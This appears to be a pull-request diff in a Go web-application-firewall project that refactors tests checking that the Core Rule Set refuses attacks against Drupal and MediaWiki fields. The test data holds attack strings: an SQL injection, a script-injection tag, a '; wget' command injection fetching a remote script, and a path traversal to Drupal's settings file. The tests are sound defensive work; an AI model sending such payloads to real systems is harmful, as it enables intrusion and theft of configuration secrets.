next into main #223

Open
clawbot wants to merge 34 commits from next into main
pull from: next
3 changed files with 9 additions and 6 deletions
Showing only changes of commit c1bb813a5e - Show all commits

No files matched your search

+3
View File
@@ -1357,6 +1357,9 @@ const (
// injection is an SQL injection, which rule 942100 matches. // injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1" const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+4 -4
View File
@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
for _, attack := range []string{ for _, attack := range []string{
`1' OR '1'='1`, injection,
`<script>alert(1)</script>`, scriptTag,
} { } {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
crs := readingBodies(t) crs := readingBodies(t)
for _, attack := range []string{ for _, attack := range []string{
`1' OR '1'='1`, injection,
`<script>alert(1)</script>`, scriptTag,
`; wget http://example.com/x.sh`, `; wget http://example.com/x.sh`,
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
+2 -2
View File
@@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
for _, attack := range []string{ for _, attack := range []string{
`1' OR '1'='1`, injection,
`<script>alert(1)</script>`, scriptTag,
} { } {
for _, field := range []string{"source", "comment"} { for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}